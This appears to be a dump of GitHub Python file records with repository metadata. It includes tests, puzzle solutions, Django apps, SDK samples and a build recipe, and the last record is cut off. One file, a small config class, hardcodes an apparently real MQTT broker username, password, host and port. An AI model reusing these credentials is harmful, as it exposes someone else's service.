d718bd58d5484abb9b0e852a5c0b0f99b5d0662d
/tests/components/automation/test_time.py
05c5ade1d5341790a8232cea55d13081c9dcced6
[ "MIT" ]
permissive
maddox/home-assistant
ed6ff4d44c025792a1fcd1a1f729357ff09fbd3d
6624cfefd6ea81b559085779173b91a3dc6bd349
refs/heads/dev
2021-01-18T08:44:14.140525
2015-09-12T01:03:02
2015-09-12T01:03:02
42,342,306
2
1
null
2015-09-12T02:56:41
2015-09-12T02:56:41
null
UTF-8
Python
false
false
3,038
py
""" tests.test_component_demo ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Tests demo component. """ import unittest import homeassistant.core as ha import homeassistant.loader as loader import homeassistant.util.dt as dt_util import homeassistant.components.automation as automation import homeassistant.components.automation.time as ...
[ "paulus@paulusschoutsen.nl" ]
paulus@paulusschoutsen.nl
9632a1e6e2f20a3eb538157aa2d7406c4a23e5d5
835168502e683d9bc4f94fb13d14caa63e7f92db
/exercises/1901090003/d09/mymodule/stats_word.py
909a708c87023cf5068c433de252180657d814a6
[]
no_license
MaryShu/selfteaching-python-camp
aa6948cb21ebc218ffd3aef5988575da377e3ada
6497774bf1452905fe9affccb6866a3dbb21bb2a
refs/heads/master
2020-05-24T01:08:52.152579
2019-05-29T11:40:40
2019-05-29T11:40:40
187,029,827
0
0
null
2019-05-16T13:06:16
2019-05-16T13:06:15
null
UTF-8
Python
false
false
724
py
import re from collections import Counter # 统计英文 def stats_text_en(text): if not isinstance(text,str): raise ValueError('参数必须是str类型') word_list = re.findall(r'\b[a-z]+\'?[a-z]+',text.lower()) cnt_en = Counter() for word in word_list: cnt_en[word] += 1 return cnt_en # 统计中文 def stats...
[ "46160162+EthanYan6@users.noreply.github.com" ]
46160162+EthanYan6@users.noreply.github.com
6d75669416bfa05bd2ac0082a7c73e5bd9b75ece
d5ed141e513dcb6fc8ab851835ec9a4630e3651b
/anaconda/anaconda/bin/ptdump
549292e4411111aaacfac932337843a67ac69531
[]
no_license
starrysky1211/starrysky
713998b366449a5ae4371e38723c56ea40532593
abb642548fb9b431551133657f1a67858041a7e6
refs/heads/master
2022-11-09T21:51:22.558151
2017-02-25T14:42:37
2017-02-25T14:42:37
67,608,074
0
1
null
2022-10-16T05:17:25
2016-09-07T13:16:45
Python
UTF-8
Python
false
false
177
#!/Users/starrysky/starrysky/anaconda/anaconda/bin/python if __name__ == '__main__': import sys import tables.scripts.ptdump sys.exit(tables.scripts.ptdump.main())
[ "starry_sky_@outlook.com" ]
starry_sky_@outlook.com
e9476b93f73f77f23f5cbf54f951fa0869286a67
df4b577668b830fcb41be675d691a72b952e892b
/tobiko/tests/unit/test_skip.py
6ef6fcea82ef087ae9e9194c5ba539d299665ffe
[ "Apache-2.0" ]
permissive
4383/tobiko
37ef7bfb3b51918825c4c412136467fb32850494
f8e6916db890021fa17ddbfc5e6007a25093c8cb
refs/heads/master
2020-10-01T00:03:27.723538
2019-12-11T16:01:53
2019-12-11T16:04:14
227,405,383
0
0
null
null
null
null
UTF-8
Python
false
false
7,842
py
# Copyright (c) 2019 Red Hat # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
[ "fressi@redhat.com" ]
fressi@redhat.com
398e733364846f64bead464614ab67e718b6d0e9
113d2f4b998c049a981d5c82260c0a7316d7a8a2
/pysys-examples/internal/testcases/PySys_internal_065/run.py
b04495b9b82f121c534c893c1c72d64e95af7aed
[]
no_license
moraygrieve/pysys
a9055b56fc7fb8c7ec3c50b641b2bfa1939e1c9c
3f93cbedbb806b6c53de89358025f93c740ebdc3
refs/heads/master
2020-04-29T10:39:42.850088
2019-02-27T18:07:13
2019-02-27T18:07:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,918
py
import pysys from pysys.constants import * from pysys.basetest import BaseTest from pysys.utils.perfreporter import CSVPerformanceFile import os, sys, math, shutil class PySysTest(BaseTest): def execute(self): shutil.copytree(self.input, self.output+'/test') l = {} exec(open(self.input+'/../../../utilities/...
[ "ben-spiller@users.noreply.github.com" ]
ben-spiller@users.noreply.github.com
d247d489b76804e171822766357d8f6466b74500
f58fe5f505361c7b531ca9fde0f0cb3aa48b5652
/061/main.py
ffb31a71bd76246ee48c565b918e7d633a2723d7
[]
no_license
elitan/euler
2ac1891555c133cc788d22d8c040778936849cb3
0caa13f74f3b9fb574158f10973cc9dc2586293f
refs/heads/master
2020-12-25T15:29:46.421623
2018-01-17T17:04:32
2018-01-17T17:04:32
14,663,106
2
0
null
null
null
null
UTF-8
Python
false
false
1,359
py
import sys sys.path.append("../") import functions as f import itertools def triangle(n): return n * (n + 1) / 2 def square(n): return n**2 def pentagonal(n): return n * (3 * n - 1) / 2 def hexagonal(n): return n * (2 * n - 1) def heptagonal(n): return n * (5 * n - 3) / 2 def octagonal(n): return n * (3 * n - 2) def...
[ "johan@eliasson.me" ]
johan@eliasson.me
5c9c329b16149366a148bf3967cf3b5829d35911
2fe58e7f6bfc3efdb78ca56f72a4e2a75a24c270
/eric/eric6/Preferences/ConfigurationPages/DiffColoursPage.py
c27413eec6a817dc436b73b9446be8172ca363d5
[]
no_license
testerclub/eric6-20.3
3053e0e6962060b213f5df329ee331a4893d18e6
bba0b9f13fa3eb84938422732d751219bc3e29e2
refs/heads/master
2023-03-18T08:24:03.472297
2020-03-14T06:44:14
2020-03-14T06:44:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,233
py
# -*- coding: utf-8 -*- # Copyright (c) 2017 - 2020 Detlev Offenbach <detlev@die-offenbachs.de> # """ Module implementing the Diff colours configuration page. """ from PyQt5.QtCore import pyqtSlot from PyQt5.QtGui import QPalette from PyQt5.QtWidgets import QColorDialog from .ConfigurationPageBase import Configura...
[ "skeptycal@gmail.com" ]
skeptycal@gmail.com
873e50ceef8a54138f66173d330a667e5b571d8a
5c1746c4ae9f5eb4c94c9b3a70a4d3feb966ceda
/pcapkit/vendor/mh/traffic_selector.py
af826c8583baa68945e82043d1ef9209d6bcb68c
[ "BSD-3-Clause" ]
permissive
JarryShaw/PyPCAPKit
8b53c76cf54f2ef1a9e4d0a7aeb3d52605dc1d5a
a6fe49ec58f09e105bec5a00fb66d9b3f22730d9
refs/heads/main
2023-08-29T12:49:58.611378
2023-08-28T14:05:43
2023-08-28T14:05:43
109,791,841
204
29
BSD-3-Clause
2023-09-11T17:09:06
2017-11-07T05:41:56
Python
UTF-8
Python
false
false
2,619
py
# -*- coding: utf-8 -*- """Traffic Selector Format ============================= .. module:: pcapkit.vendor.mh.traffic_selector This module contains the vendor crawler for **Traffic Selector Format**, which is automatically generating :class:`pcapkit.const.mh.traffic_selector.TrafficSelector`. """ import csv import...
[ "jarryshaw@icloud.com" ]
jarryshaw@icloud.com
27a00ff4ce25c2af8b6052c5741f033b8229d6ab
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02959/s418985928.py
cb53d993aa0c630a13225994575ecde57afc0460
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
526
py
N = int(input()) A = list(map(int, input().split())) B = list(map(int, input().split())) monster = 0 for i in range(N): if A[i] >= B[i]: monster += B[i] A[i] -= B[i] B[i] = 0 else: monster += A[i] B[i] -= A[i] A[i] = 0 if A[i + 1] >= B[i]: ...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
8466efad2689148f30354687d3d59b809ac6c7a4
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/storage/azure-mgmt-storagesync/generated_samples/cloud_endpoints_trigger_change_detection.py
afa556a5006811330b827a494591ddc052941a0d
[ "LicenseRef-scancode-generic-cla", "MIT", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,866
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
Azure.noreply@github.com
f2daa3fb2e5eee737fd4b90948273d2c582a19e6
f435b177d625e50bb9beafb191e1df01e3cb30ee
/src/pyoiler/problems/euler003.py
ece675a302a90952f578694d2b18f63b92cfda88
[]
no_license
bathcat/pyOiler
dcf948b0a18a9094314564d177c7827c875de78b
3ce4d96277e61346509c2975a0034fb5ba845f23
refs/heads/main
2023-03-12T10:42:48.837126
2021-02-10T19:18:14
2021-02-10T19:18:14
337,828,844
1
0
null
null
null
null
UTF-8
Python
false
false
616
py
from ..shared.solver import Solver from ..shared.primes import prime_factors description = '''The prime factors of 13195 are 5, 7, 13 and 29. What is the largest prime factor of the number 600851475143 ? ''' def _solve(print = print): real_target = 600851475143 target = 13195 print(f"Solving this thing ...
[ "you@example.com" ]
you@example.com
5c01bbe12558bc418c8f5cab27105cddb6aeaaf9
ebf3a44a24bdca43553307338ff31440d5e2e11a
/src/lsd_lemon/run_conversion.py
223f45aafbba255710b093840066ecaacfc3c955
[ "MIT" ]
permissive
juhuntenburg/pipelines
daeb13896023e22350eb33b90007d8a74d592745
9904065cccb8e316cece5451f595a24774f07bd5
refs/heads/master
2020-04-05T09:27:17.263763
2017-05-02T20:28:33
2017-05-02T20:28:33
30,145,021
0
3
null
2015-02-01T12:09:49
2015-02-01T12:09:49
null
UTF-8
Python
false
false
4,742
py
from convert import create_conversion import getpass import pandas as pd import sys '''Meta script to run conversion --------------------------------- Input is a spreadsheet with information on location, experiment labels and scan IDs in xnat. Will ask for xnat credentials ''' list_conversion=sys.argv[1] xnat_user...
[ "ju.huntenburg@gmail.com" ]
ju.huntenburg@gmail.com
1aeb19a626e68a5e5a4da3d5afc1f1c353f2e214
a6d36a861c156e9dd9c3f4733978f194bcc62c2c
/api/signals.py
cdbd27529c4943aab5d6f1d04db8b68cedb2bfab
[]
no_license
wjaccck/upfile
091f3ba132748cef348ff8a9973eba009e5423fa
2721cc29ca394ddcf9f415e4fba7e2b422e87701
refs/heads/master
2021-01-01T04:30:18.024584
2016-05-26T02:25:51
2016-05-26T02:25:51
57,368,745
0
0
null
null
null
null
UTF-8
Python
false
false
1,402
py
# -*- coding: utf-8 -*- from django.db.models.signals import post_save from django.dispatch import receiver from api.models import Up_file,Dirs,Recode_dirs import re def _create_dir(dir_name): if len(Dirs.objects.filter(name=dir_name))==0: m_dir=Dirs.objects.create(name=dir_name) else: m_dir=D...
[ "wjaccck@163.com" ]
wjaccck@163.com
fd7ac04e3fa4708121e93e6cf58123c42808f310
2417bf83ee94b98c3cd662b0f599a3531a1691b4
/catalog/migrations/0011_auto_20200102_1532.py
25c3d84256cf260a3295a294d55113717e9c2488
[]
no_license
dmhburke/dbDevSiteGIT
8a67a0d01abda7760f0436f5f6a51752962b9588
9d5b3b87e33c9e8584a75938dcf3abc67d85dea9
refs/heads/master
2022-11-30T17:17:58.006400
2020-03-23T20:59:33
2020-03-23T20:59:33
230,835,423
0
0
null
2022-11-22T04:56:10
2019-12-30T02:45:59
Python
UTF-8
Python
false
false
518
py
# Generated by Django 3.0.1 on 2020-01-02 20:32 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('catalog', '0010_uploadimage_exif'), ] operations = [ migrations.RemoveField( model_name='uploadimage', name='exif', ...
[ "dmhburke@gmail.com" ]
dmhburke@gmail.com
399955485b462e8de17c8ede5738cf8762f82078
caef0219abb12db419803dd5f76895a3c4522b3a
/tests/test_regularizations.py
42a72b3d4edf0b080a2d9e239083b4aefd9343fd
[ "MIT" ]
permissive
fossabot/polyaxon-schemas
cf6199959e575aa91b63b120c594536f170b1c1f
1ca3049cfcef507fbc3a6fa4e38f870f8a5869b2
refs/heads/master
2021-08-30T16:12:46.847739
2017-12-18T15:40:54
2017-12-18T15:40:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,138
py
# -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function from unittest import TestCase from polyaxon_schemas.regularizations import ( L1RegularizerConfig, L2RegularizerConfig, L1L2RegularizerConfig ) from tests.utils import assert_equal_dict class TestRegularizationConfig...
[ "mouradmourafiq@gmail.com" ]
mouradmourafiq@gmail.com
6c54ec930fcdb5b489cf7de43077dc9d6b203c9b
4be5c172c84e04c35677f5a327ab0ba592849676
/python/interviewbit/backtracking/permutations/permutations.py
67e54ad1f9942436e6f74000aeffee3c3229f8a5
[]
no_license
niranjan-nagaraju/Development
3a16b547b030182867b7a44ac96a878c14058016
d193ae12863971ac48a5ec9c0b35bfdf53b473b5
refs/heads/master
2023-04-06T20:42:57.882882
2023-03-31T18:38:40
2023-03-31T18:38:40
889,620
9
2
null
2019-05-27T17:00:29
2010-09-05T15:58:46
Python
UTF-8
Python
false
false
2,378
py
''' https://www.interviewbit.com/problems/permutations/ Permutations Given a collection of numbers, return all possible permutations. Example: [1,2,3] will have the following permutations: [1,2,3] [1,3,2] [2,1,3] [2,3,1] [3,1,2] [3,2,1] NOTE No two entries in the permutation sequence should be the same....
[ "vinithepooh@gmail.com" ]
vinithepooh@gmail.com
649e8ac81f9780d1565b76c58d26f80527d03183
95b8de84df42df693522b0e63692b7a91bd6f6f5
/recipes/sbp/all/conanfile.py
77edf2fd79a3ee70366570a9dd6ea820d3566e95
[ "MIT" ]
permissive
ericLemanissier/conan-center-index
ae9fcd42ecb208a27299120c5580c924e9dfac86
d4e176c437637429dbd35ab6e172be1559cb2f2d
refs/heads/freebsd
2023-09-01T03:10:56.850971
2023-08-30T07:00:49
2023-08-30T07:00:49
210,675,894
1
1
MIT
2023-09-11T05:38:23
2019-09-24T18:54:26
Python
UTF-8
Python
false
false
2,170
py
import os from conans import ConanFile, CMake, tools from conans.errors import ConanInvalidConfiguration class SbpConan(ConanFile): name = "sbp" license = "MIT" homepage = "https://github.com/swift-nav/libsbp" url = "https://github.com/conan-io/conan-center-index" description = "Swift Binary Prot...
[ "noreply@github.com" ]
ericLemanissier.noreply@github.com
0e4c1b84669b3c84d75b6d7527172294d06d29c2
3d23b5dffb9ed45c89ac6e63235620cc695b6b30
/apps/basic/models.py
016a44a25649333837f29595675c9208bfca5798
[]
no_license
zizle/mkdecision
f9988864909be4dfffbc33cac40cb127e6a3d1ae
833b5732100b296dd0004e9f9bf2251fc34629f1
refs/heads/master
2020-06-15T16:41:28.633877
2020-04-02T08:16:45
2020-04-02T08:16:45
195,343,829
0
0
null
2020-04-02T08:20:53
2019-07-05T05:25:43
Python
UTF-8
Python
false
false
3,285
py
# _*_ coding:utf-8 _*_ # __Author__: zizle from django.db import models from apps.abstract import BaseModel """ 客户端相关 """ # 客户端模型 class Client(BaseModel): name = models.CharField(max_length=128, blank=True, null=True, verbose_name="名称备注") machine_code = models.CharField(max_length=32, unique=True, verbose_...
[ "zizle_lin@163.com" ]
zizle_lin@163.com
92bf7dff76f1288fae88ff14bf5e2480c3b1fd8b
a0947c2778742aec26b1c0600ceca17df42326cd
/Python/PythonInADay2/CSV-Files-Drill/37of79-51.py
668d10310be1ed1689352def9560cf546a2675c4
[]
no_license
JohnCDunn/Course-Work-TTA
5758319d4607114914ba9723328658bed8fb2024
8c4f60d51007dac2ac4cceb84b0f9666e143c0d7
refs/heads/master
2021-01-10T16:37:02.609879
2016-02-01T18:05:38
2016-02-01T18:05:38
49,983,248
0
0
null
null
null
null
UTF-8
Python
false
false
1,191
py
import sqlite3 conn = sqlite3.connect('simpsons.db') def createTable(): conn.execute("create table if not exists simpson_info(ID Integer primary key autoincrement, \ Name text, Gender text, Age text, Occupation text);") createTable() def newCharacter(): print '\nAdding a new characte...
[ "JohnClydeDunn@Gmail.com" ]
JohnClydeDunn@Gmail.com
9fe48eab918060dd5ca6af416e873b6ad7bb815e
27a15559b0a578ed768212130ab0cd5beb5b34fa
/empty_rate_calc.py
ed370f8fe74932ee0fb9d9caeea07d0d68c1dccc
[]
no_license
dodoingdy/etl
8fb028a4b2bce30c38550bac173625631a76b9b0
5ac55234890c5e06cfbd198a882f7e871f181a90
refs/heads/master
2021-09-05T01:21:14.331810
2018-01-23T10:25:06
2018-01-23T10:25:06
112,719,449
0
0
null
null
null
null
UTF-8
Python
false
false
2,084
py
#coding=utf-8 import base64 import xlrd import cx_Oracle import re ora_conf = { 'conn':'ip:port/db', 'usernm':'usernm', 'passwd':'pw', } def ora_conn(): usernm = ora_conf['usernm'] passwd = ora_conf['passwd'] conn = ora_conf['conn'] db = cx_Oracle.connect(usernm, passwd, conn) cur = db.cursor() ...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
11c84e98966c0a76d8bb53e03e2647788efeb66f
fe0f1d17d2f289411c350ceb3f31a9722716df41
/numpy_pgms/n6.py
58259217c0f0e96ae1614bcf3c029b49faadb322
[]
no_license
ravigaur06/PythonProject
3c028d5f2ce32af52de565c91031b91bb186854d
ede1c5a03120237f7a4f0d190bcf50735a1a211a
refs/heads/master
2023-03-16T15:51:30.760102
2020-05-25T04:41:51
2020-05-25T04:41:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
233
py
import numpy as np a=np.array([[1,4,2],[3,2,6],[0,-1,0.5]]) #Row wise sorting print (np.sort(a)) #column wise sorting print (np.sort(a,axis=0)) # sort all elements into one dimensional array print (np.sort(a,axis=None))
[ "noreply@github.com" ]
ravigaur06.noreply@github.com
188bfef2a9d2c5de09388a6e02d952cbf5b08e8f
efd119f0926d82efb31fb4ae44651cef4f9d2c14
/COM2021/config.py
701898b6f7d1c948fb56cdb8c45fc14629af3678
[]
no_license
emylincon/shellmon2
3a5d0e325fd6da4f3238b866701c784dfac7e41b
572063cd76113f5b0583432d2bac04a3538669ed
refs/heads/master
2021-06-20T00:21:49.112003
2021-03-25T21:16:17
2021-03-25T21:16:17
200,080,296
0
0
null
null
null
null
UTF-8
Python
false
false
165
py
class Data: def __init__(self): self.user = 'yrtwmwao' self.pw = 'FmgTf5G8r-4f' self.ip = 'm24.cloudmqtt.com' self.port = 16470
[ "emylincon@gmail.com" ]
emylincon@gmail.com
607623919725264d95019cb3d9777d96ac523d37
4f83198b9e151384e6244d222103454f601b8102
/billing/yup/views.py
3fb9d1547c953dc49966ced8a58f69bb34c290fa
[]
no_license
kiranHR/Project1
c67dfd74c9e16780ad1cfe606d3203927b31c65f
9dd880ea7c9f99fc97db5cacc07c70b7d2bce5dc
refs/heads/master
2022-12-21T08:09:54.309578
2020-09-30T14:11:12
2020-09-30T14:11:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,190
py
import json import traceback import requests from django.conf import settings from django.db import transaction from django.http import HttpResponse from django.http.response import HttpResponseRedirect from django.shortcuts import render from django.template.defaultfilters import slugify from django.utils.module_load...
[ "rsihon@gmail.com" ]
rsihon@gmail.com
d9709b1acc1ce752382de0beb5ee672f419e3e6c
5daece6b3ee3e928d101c8614dbcb90a8569626f
/files/Exercícios Livro/c05e03.py
81f319749dc646b6956ac3539d7c82e994263dbf
[ "MIT" ]
permissive
heltonricardo/estudo-python
506b400af93039bbdca70e1bc604c588fae62af1
e82eb8ebc15378175b03d367a6eeea66e8858cff
refs/heads/master
2022-12-24T03:10:52.202102
2020-10-06T13:58:05
2020-10-06T13:58:05
294,190,313
0
0
null
null
null
null
UTF-8
Python
false
false
237
py
def iop(n): if (n % 2 == 0): return 'par' else: return 'ímpar' while (True): num = int(float(input('Entre um valor natural: '))) if (num > 0): break print('O valor {} é'.format(num), iop(num)) input()
[ "50843386+heltonr13@users.noreply.github.com" ]
50843386+heltonr13@users.noreply.github.com
543fd31efb14fa374c0087e6ec1d3ba6f6927619
bb28f7b90a607e917528b68ae1dd6d30c78ad85c
/arrays/sortedarray.py
00d32c31cb18a23b856d7c75a9aa1e413d479e29
[ "MIT" ]
permissive
gcvalderrama/python_foundations
066f49ba90e285fad6b730bc4b7c5dfd6821e544
5ac045085dcc6c906729b481f833fa6a7889bd19
refs/heads/master
2022-05-08T06:13:20.699411
2022-03-23T03:03:45
2022-03-23T03:03:45
151,999,449
0
0
null
null
null
null
UTF-8
Python
false
false
746
py
import unittest # https://www.geeksforgeeks.org/find-first-and-last-positions-of-an-element-in-a-sorted-array/ def first(arr, low, high, x, n): if high >= low: mid = low + (high - low) // 2 if (mid == 0 or x > arr[mid - 1]) and arr[mid] == x: return mid elif x > arr[mid]: ...
[ "gcvalderrama@hotmail.com" ]
gcvalderrama@hotmail.com
930973299f47f7a6c222e019262f3a425714624c
6b9b032a5516c8d7dbb26deeb1b189022f8f9411
/LeetCode/dp/309.最佳买卖股票时机含冷冻期.py
36b46e916edb371a83bf53cf392e37c9c4422bb1
[]
no_license
mrmenand/Py_transaction
84db99a0010ae90f43fba6b737d7035e48af55fb
7e82422c84ad699805cc12568b8d3d969f66a419
refs/heads/master
2021-07-13T21:15:03.714689
2020-06-21T11:49:31
2020-06-21T11:49:31
176,281,954
1
0
null
null
null
null
UTF-8
Python
false
false
477
py
# 309. 最佳买卖股票时机含冷冻期 class Solution: def maxProfit(self, prices: List[int]) -> int: if not prices: return 0 n = len(prices) dp = [[0] * 3 for _ in range(n)] dp[0][0] = -prices[0] for i in range(1, n): dp[i][0] = max(dp[i - 1][0], dp[i - 1][2] - prices[...
[ "1006024749@qq.com" ]
1006024749@qq.com
0e7d709d3011886af221736dc409adc355baefdf
14e46b15f6774f6af67d08a3a77577e9a60d897a
/labml_nn/transformers/fast_weights/experiment.py
a1dc25689eca521c87806095ffc3be56230f3e81
[ "MIT" ]
permissive
mehedi02/nn
602823d7c3ea99a013ac2ba5f49c3fb84f94d691
986f3bd9d3dd32b068898c330d9a017abedcd299
refs/heads/master
2023-03-18T09:50:48.445032
2021-03-11T13:05:58
2021-03-11T13:05:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,309
py
""" --- title: Train Fast Weights Transformer summary: This is training code with notes for a Fast Weights Transformer. --- """ import torch from torch import nn from labml import experiment from labml.configs import option from labml.utils.pytorch import get_modules from labml_helpers.module import Module from labml...
[ "vpjayasiri@gmail.com" ]
vpjayasiri@gmail.com
6d7287c51f8580dc4f3722f06ff9e19cd495d61a
8027fd32efb02cc5e80805db2f23d0b1d598b4e2
/Python/If Statements/Exercise 4.5.2/Exercise_4_5_2a.py
e5fd938fcc85f1792e575c67bba12ea11bb051d6
[]
no_license
ManikhweSchool/Introduction-To-Java-Programming
235e01f856a5a50a6af8b505773f4d4770b3359e
68aa9ee308be0c28f6fe45c6f9d9cee94ebafccb
refs/heads/master
2023-08-01T03:48:46.006513
2021-09-16T13:52:59
2021-09-16T13:52:59
316,620,298
0
0
null
null
null
null
UTF-8
Python
false
false
472
py
temperature = eval(input('Enter Temperature : ')) units = eval(input('Enter \'0\' For Fahrenheit or \'1\1 For Celsius : ')) computedTemprerature = temperature if not(units==0 or units==1): print('Error : Invalid Input(Enter 0 or 1)') else: if units==0: computedTemperature = (9/5)*(temperature-32) ...
[ "=" ]
=
9e6fe3a39ccef3c4125b29e9f143a59f82bbe635
dc6c6e73d9d94310dff9b962703ee616aef2d8e9
/board/urls.py
aba330aebec893f6a5e6a2f802e5442331bab70d
[]
no_license
Jamie-Cheon/Django_basic
f5063baca09e7530f09b8a03e502c26dc7949c95
5055e2baa53f755e7849266d2fab06b4b53df94a
refs/heads/master
2022-09-06T21:20:30.246363
2020-05-30T11:26:16
2020-05-30T11:26:16
263,026,340
0
0
null
null
null
null
UTF-8
Python
false
false
187
py
from django.urls import path from . import views urlpatterns = [ path('list/', views.board_list), path('write/', views.board_write), path('detail/<int:pk>/', views.board_detail), ]
[ "jamiecheon55@gmail.com" ]
jamiecheon55@gmail.com
f76933772f0c98f9fb4ebaaf26191098358b168c
745e6abeaed0d1f9c178bd8a86821d1c8f0f66ac
/venv4/lib/python3.8/site-packages/pip/_internal/models/scheme.py
18a36dafa7c835ba86c3fc956fb73f20ca1ad776
[ "ISC", "Apache-2.0", "LicenseRef-scancode-public-domain", "BSD-2-Clause", "Zlib", "LicenseRef-scancode-openssl", "LicenseRef-scancode-ssleay-windows", "BSD-3-Clause", "OpenSSL", "MIT" ]
permissive
alireza-shirmohammadi/python_client_kafka_elastic
6e92478501cb3dfff6c864b46efd9b4839c8dff2
4a67d666b8e9369d18ec178983eab79afc48d7ef
refs/heads/master
2023-03-10T19:16:00.288264
2021-02-24T07:46:00
2021-02-24T07:46:00
341,819,716
0
0
null
null
null
null
UTF-8
Python
false
false
801
py
""" For types associated with installation schemes. For a general overview of available schemes and their context, see https://docs.python.org/3/install/index.html#alternate-installation. """ SCHEME_KEYS = ["platlib", "purelib", "headers", "scripts", "data"] class Scheme: """A Scheme holds paths wh...
[ "alireza.sh076@gmail.com" ]
alireza.sh076@gmail.com
6f3a35325ba1a43f6a67da6e4b2c72b6deb78f87
4e25db2f3ab32798f294a88c0a409adeb34d5786
/Source/Falcom/EDAO/Decompiler/png32toitx.py
ed77191f177f61c592b08276898437610850d597
[]
no_license
pmeido/Arianrhod
c3f3c74bf44b65c32b18aca6888f6dd10eb5eda2
44cc63b113b421da0db7f05bcea5d78cd76f6a20
refs/heads/master
2021-01-15T15:23:49.120373
2015-10-28T09:20:32
2015-10-28T09:20:32
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,512
py
from ml import * from itp2itc import * import subprocess ITPCNV_PATH = os.path.join(os.path.dirname(__file__), r'tools\itpcnv.exe') PNGQUANT_PATH = os.path.join(os.path.dirname(__file__), r'tools\pngquant.exe') NCONVERT_PATH = os.path.join(os.path.dirname(__file__), r'tools\nconvert.exe') PNG_TO_ITP =...
[ "Hiromi.Kaede@gmail.com" ]
Hiromi.Kaede@gmail.com
246a9e4f60436f18c84c9e6c106409b59f018e73
8937c4d452c98699610923f76a395a2247f576df
/preprocess/expand_jp2.py
e8c59d28114c68a67edb2e996444c33ca9238772
[]
no_license
mistycheney/MouseBrainAtlas
812b204af06ed303f3c12d5c81edef50c8d9d1ed
bffbaa1ede9297084e64fc197716e63d5cb54275
refs/heads/master
2020-04-11T13:44:09.632311
2018-11-20T22:32:15
2018-11-20T22:32:15
20,377,173
3
9
null
2017-03-15T19:39:27
2014-06-01T12:42:08
Jupyter Notebook
UTF-8
Python
false
false
1,289
py
#! /usr/bin/env python import sys import os import shutil import argparse parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description='Rename thumbnail images according to our naming format with consecutive section numbers') parser.add_argument("stack_name", type=str, ...
[ "cyc3700@gmail.com" ]
cyc3700@gmail.com
352c39eadcaeae91804d2ff7e38f42e01b3d4e57
1862d2942ccbba00788fcf999494a3a9521591f1
/jacquard/service/base.py
6386edf964f415022016a47fbb9ca66b1edc6a66
[ "MIT" ]
permissive
prophile/jacquard
6b8aecc3e5ac226d42720c3a5cf4a2bbbba0ab46
a06b781a81139ed578bcbef3fb521b8f712ab77d
refs/heads/master
2021-01-13T09:15:26.794307
2019-05-03T12:48:11
2019-05-03T12:48:11
72,368,989
8
3
MIT
2020-05-30T11:36:46
2016-10-30T19:01:07
Python
UTF-8
Python
false
false
2,962
py
"""Base for HTTP endpoint plugins.""" import abc import copy import werkzeug.routing class Endpoint(metaclass=abc.ABCMeta): """ Base HTTP endpoint. Subclasses must implement `url` and `handle`. `url` is a URL pattern in the standard Werkzeug/Flask form, and `handle` is the method which is actua...
[ "arplynn@gmail.com" ]
arplynn@gmail.com
abc9ad0231ea062b622ee1b20f6a87e365da038b
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/QHuaoQuAJfWn2W9oX_16.py
49142bf3f17009b39a65c20e6dc12e21d9c8e05f
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
2,301
py
""" Create a function that takes **a character from a to h** as the column number and **an integer from 1 to 8** as the row number which together represent the location of a queen on a normal-sized chess board. Return this two dimensional 8x8 list. This list must consist of zeroes and ones. The ones are placed in p...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
739aa4ce4ee4823a78f37cde2f5551e310ee8e6b
235c4b3aa630737b379050a420923efadd432da8
/DS-400/Medium/143-Reorder List/TwoPointers.py
129ad948eaf5fdb544c090e6644b61d4d1809d77
[ "MIT" ]
permissive
ericchen12377/Leetcode-Algorithm-Python
4e5dc20062280ef46194da5480600b2459fd89f8
eb58cd4f01d9b8006b7d1a725fc48910aad7f192
refs/heads/master
2023-02-22T22:43:55.612650
2021-01-28T04:00:20
2021-01-28T04:00:20
258,058,468
2
0
null
null
null
null
UTF-8
Python
false
false
1,106
py
# Definition for singly-linked list. # class ListNode(object): # def __init__(self, val=0, next=None): # self.val = val # self.next = next class Solution(object): def reorderList(self, head): """ :type head: ListNode :rtype: None Do not return anything, modify head in-pla...
[ "suiyaochen@mail.usf.edu" ]
suiyaochen@mail.usf.edu
52c4e803368e6b2e75ecde324284072815f96708
8c9203affc3c5d165e8129d63622d12138ae3baa
/app/tests/test_hello.py
22cc4d8b9d41a24543f9e53b09204777edcefece
[]
no_license
